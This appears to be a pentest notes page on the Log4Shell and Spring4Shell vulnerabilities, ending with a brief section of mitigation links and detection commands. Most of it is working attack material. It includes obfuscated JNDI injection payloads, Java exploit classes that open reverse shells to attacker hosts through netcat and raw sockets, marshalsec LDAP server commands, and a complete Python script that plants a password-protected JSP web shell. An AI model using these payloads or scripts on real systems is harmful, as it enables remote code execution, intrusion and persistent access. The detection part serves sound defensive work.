
Log4Shell
Log4j is a logging framework written in Java, distributed under the Apache License since 1996 that offers mechanisms to directly log information such as databases, files, consoles, syslogs etc.. It has three components (loggers, appenders and layouts), which are responsible for capturing log information, publishing that information and formatting it in different styles.
It's utilized in many software programs used today and with over 3 billion devices worldwide; which means the attack surface on a 0day from this framework is huge. It looks for patterns of information like , ${ENV:HOSTNAME}, and parses that information to enrich data.
${jndi:ldap://ATTACKER\a}
CVE-2021-44228 is dangerous. The Java Naming and Directory Interface (JNDI) could be used to access resources it shouldn't and that means syntax could be executed the way it is in log files. Furthermore, this syntax could be used wherever data is logged by an application, which makes the scope of the damage currently unknown but critical.
Original talk: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf Payloads:
${jndi:ldap://127.0.0.1:1389/a}
${j${upper:n:-\n}di:ldap://example.com:1389/a}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
echo -e '${jndi:ldap://x.x.x.x:389/${java:version}}' > exploit.txt
screen -dmS log4j echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd
hping3 -2 -s 514 -p 514 -c 3 -a 23.75.195.2 $host -E exploit.txt -d `ls -al exploit.txt | awk '{print $5}'
Canary Tokens: https://canarytokens.org/generate# Huntress: https://log4shell.huntress.com/ Log4shell: https://www.lunasec.io/docs/blog/log4j-zero-day/ Exploit through marshalsec: https://github.com/mbechler/marshalsec Fullhunt Scanner: https://github.com/fullhunt/log4j-scan JNDI Exploit Kit: https://github.com/pawnmuncher/JNDI-Exploit-Kit
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOURRIP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Exploit.java:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.LDAPRefServer "http://ATTACKERIP:8000/#Exploit"
javac Exploit.java -source 8 -target 8
python3 -m http.server
|nc -lvnp 9999
Finally,
curl 'http://MACHINE_IP:8983/PATH\{jndi:ldap://ATTACKERIP:1389/Exploit\}'
Another exploitation example provided by Tract0r:
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="172.20.0.9";
int port=9001;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
import java.io.IOException;
public class Log4jRCE {
public Log4jRCE() throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("sh", "-c", "nc 172.20.0.9 9001 -e /bin/sh");
try {
Process process = processBuilder.start();
} catch (Exception e) {
e.printStackTrace();
}
}
}
List of vendors affected initially: https://github.com/NCSC-NL/log4shell/tree/main/software
Mitigation/Blue Team: Guide from Lunasec: www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide Log4Shell Detector: https://github.com/Neo23x0/log4shell-detector Find evidence of log4j usage on Linux: cyb3rops
ps aux | egrep '[l]og4j' find / -iname "log4j*" lsof | grep log4j
Find places to which your applications write logs
lsof | grep '.log'
jps | grep -v " Jps$" | cut -f1 -d " " | xargs -I '{}' jcmd '{}' VM.class_hierarchy | grep logging.log4j
Spring4Shell
An open source foundation for Java and with JDK9+. Attackers could gain access to the AccessLogValve
object through parameter binding features and use field values to trigger the pipeline mechanism, which can write to a file in an arbitrary path under specific conditions.Conditions:
JDK 9.0+
Spring framework/derivative framework spring-beans-*.jar exists
#!/usr/bin/env python3
# Spring4Shell Exploit
# Original Exploit: https://github.com/BobTheShoplifter/Spring4Shell-POC/
# Modified by: AG | MuirlandOracle
import requests
import argparse
from urllib.parse import urljoin
def exploit(url, filename, password, directory):
headers = {"suffix":"%><!--//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:
requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, f"{filename}.jsp")
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
else:
print("Exploit failed to upload")
except Exception as e:
print(e)
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
parser.add_argument('url', help='Target URL')
parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
args = parser.parse_args()
exploit(args.url, args.filename.split(".")[0], args.password, args.directory)
Last updated